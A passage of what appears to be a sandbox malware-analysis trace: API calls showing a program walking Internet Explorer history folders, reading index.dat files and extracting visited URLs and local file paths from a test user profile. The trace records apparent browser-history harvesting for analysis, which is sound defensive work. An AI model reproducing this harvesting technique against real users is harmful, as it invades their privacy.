lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29696, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7400 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29824, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7480 [0069.171] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.171] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.171] SetFilePointer (in: hFile=0xcc, lDistanceToMove=29952, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7500 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30080, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7580 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30208, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7600 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7680 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30464, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7700 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30592, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7780 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7800 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30848, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7880 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=30976, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7900 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31104, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7980 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31232, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a00 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31360, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7a80 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31488, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b00 [0069.172] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.172] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.172] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31616, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7b80 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31744, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c00 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=31872, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7c80 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32000, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d00 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32128, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7d80 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32256, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e00 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32384, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7e80 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32512, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f00 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] SetFilePointer (in: hFile=0xcc, lDistanceToMove=32640, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x7f80 [0069.173] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.173] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned -1 [0069.173] CloseHandle (hObject=0xcc) returned 1 [0069.173] FindNextFileW (in: hFindFile=0x8a3148, lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 0 [0069.173] FindClose (in: hFindFile=0x8a3148 | out: hFindFile=0x8a3148) returned 1 [0069.173] FindNextFileW (in: hFindFile=0x89ff18, lpFindFileData=0x288d4c | out: lpFindFileData=0x288d4c) returned 1 [0069.173] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.173] wcslen (_String="MSHist012017071220170713") returned 0x18 [0069.173] wcscpy (in: _Dest=0x288f9c, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5" [0069.173] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5") returned 0x49 [0069.173] wcscat (in: _Dest=0x288f9c, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\" [0069.173] wcscat (in: _Dest=0x288f9c, _Source="MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" [0069.173] wcscmp (_String1="MSHist012017071220170713", _String2="..") returned 1 [0069.173] wcscmp (_String1="MSHist012017071220170713", _String2=".") returned 1 [0069.173] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.174] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.174] wcslen (_String="*.*") returned 0x3 [0069.174] wcscpy (in: _Dest=0x2880c8, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" [0069.174] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.174] wcscat (in: _Dest=0x2880c8, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\" [0069.174] wcscat (in: _Dest=0x2880c8, _Source="*.*" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*" [0069.174] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\*.*", lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 0x8a3148 [0069.174] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.174] wcslen (_String=".") returned 0x1 [0069.174] wcscpy (in: _Dest=0x2885a0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" [0069.174] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.174] wcscat (in: _Dest=0x2885a0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\" [0069.174] wcscat (in: _Dest=0x2885a0, _Source="." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\.") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\." [0069.175] wcscmp (_String1=".", _String2="..") returned -1 [0069.175] wcscmp (_String1=".", _String2=".") returned 0 [0069.175] _wcsicmp (_String1=".", _String2="index.dat") returned -59 [0069.175] FindNextFileW (in: hFindFile=0x8a3148, lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 1 [0069.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.175] wcslen (_String="..") returned 0x2 [0069.175] wcscpy (in: _Dest=0x2885a0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" [0069.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.175] wcscat (in: _Dest=0x2885a0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\" [0069.175] wcscat (in: _Dest=0x2885a0, _Source=".." | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\..") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\.." [0069.175] wcscmp (_String1="..", _String2="..") returned 0 [0069.175] _wcsicmp (_String1="..", _String2="index.dat") returned -59 [0069.175] FindNextFileW (in: hFindFile=0x8a3148, lpFindFileData=0x288350 | out: lpFindFileData=0x288350) returned 1 [0069.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.175] wcslen (_String="index.dat") returned 0x9 [0069.175] wcscpy (in: _Dest=0x2885a0, _Source="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713" [0069.175] wcslen (_String="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713") returned 0x62 [0069.175] wcscat (in: _Dest=0x2885a0, _Source="\\" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\" [0069.175] wcscat (in: _Dest=0x2885a0, _Source="index.dat" | out: _Dest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" [0069.175] _wcsicmp (_String1="index.dat", _String2="index.dat") returned 0 [0069.175] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\History\\Low\\History.IE5\\MSHist012017071220170713\\index.dat" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\history\\low\\history.ie5\\mshist012017071220170713\\index.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xcc [0069.176] SetFilePointer (in: hFile=0xcc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.176] ReadFile (in: hFile=0xcc, lpBuffer=0x288020, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x281ce8, lpOverlapped=0x0 | out: lpBuffer=0x288020*, lpNumberOfBytesRead=0x281ce8*=0x20, lpOverlapped=0x0) returned 1 [0069.177] GetFileSize (in: hFile=0xcc, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8000 [0069.177] SetFilePointer (in: hFile=0xcc, lDistanceToMove=20480, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5000 [0069.177] ReadFile (in: hFile=0xcc, lpBuffer=0x285f20, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x281cc8, lpOverlapped=0x0 | out: lpBuffer=0x285f20*, lpNumberOfBytesRead=0x281cc8*=0x8, lpOverlapped=0x0) returned 1 [0069.177] _memicmp (_Buf1=0x285f20, _Buf2=0x44a6cc, _Size=0x4) returned 0 [0069.178] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/" [0069.178] wcscmp (_String1="https://www.google.de/", _String2=":host: www.msn.com") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="http://www.msn.com/de-de/") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2=":host: computer") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/x_eh_i6l5xn.png") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2=":host: www.google.de") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/ihknzkjo.doc") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/o954v.gif") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/xv29v9lm6u3e.bmp") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/q6o2n7wwkpr.bmp") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/ebi_g_ji2vd2vnklrop5.ppt") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/m%20py5nq8/eye27ehqblhl.bmp") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/bngtvm7.xlsx") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/tsxdzc%203hi/1qpg-iyvnqu.bmp") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/ldy-i67whvylz/fpn_m8owaavy2i.ots") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/4c7rg/altyeuz8ke/aarrlt_jtdpkkjt_swo.xls") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/s_xsuwu8qqnzog4v9zrx.mkv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/w94fqong.rtf") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/kd4kvqssjiojqr1.flv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/j6dziy9vqbux5.ppt") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/c9ut6lytwia.xlsx") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/s3erd-a.bmp") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/pwxinmywav8jnb-pahwa/mg6b0r2nv.ots") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/1wkvceojzvfwrnxvcrwl/yiw1h.png") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/ftcc9f70gxzbb.gif") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/_r0qj/u_bk5.pps") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/t6uzsfbvzgwkneqg/y0m9kmq-w9nryd9_x/ly3agvy_y5cf6nmd50e1.jpg") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/videos/p-dos46itrnaxv/l3ci-wr-j02jefp8%20k75/boukln.flv") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/documents/2serklwgvw2wr0dvkh.docx") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/desktop/khpa.jpg") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/pictures/j7vqvazuu4/1jx4gus1oh/lrl%20osdtaq.jpg") returned 1 [0069.178] wcscmp (_String1="https://www.google.de/", _String2="file:///c:/users/aetadzjz/appdata/roaming/spfa9u6bx.xls") 